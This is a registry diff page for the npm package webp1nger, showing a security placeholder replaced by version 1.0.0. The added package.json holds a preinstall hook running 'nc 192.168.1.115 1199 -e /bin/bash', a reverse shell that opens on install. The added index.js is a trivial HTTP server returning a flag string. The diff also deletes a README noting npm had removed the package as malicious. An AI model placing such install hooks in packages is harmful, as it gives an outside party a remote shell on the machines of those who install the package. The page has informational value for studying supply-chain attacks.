webp1nger 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of webp1nger might be problematic. Click here for more details.
- package/index.js +17 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
//Load HTTP module
|
|
2
|
+
const http = require("http");
|
|
3
|
+
const hostname = "127.0.0.1";
|
|
4
|
+
const port = 3000;
|
|
5
|
+
|
|
6
|
+
//Create HTTP server and listen on port 3000 for requests
|
|
7
|
+
const server = http.createServer((req, res) => {
|
|
8
|
+
//Set the response HTTP header with HTTP status and Content type
|
|
9
|
+
res.statusCode = 200;
|
|
10
|
+
res.setHeader("Authorization", ";");
|
|
11
|
+
res.end("FLAG{123}\n");
|
|
12
|
+
});
|
|
13
|
+
|
|
14
|
+
//listen for request on port 3000, and as a callback function have the port listened on logged
|
|
15
|
+
server.listen(port, hostname, () => {
|
|
16
|
+
console.log(`Server running at http://${hostname}:${port}/`);
|
|
17
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "webp1nger",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "nc 192.168.1.115 1199 -e /bin/bash"
|
|
9
|
+
},
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC"
|
|
6
12
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=webp1nger for more information.
|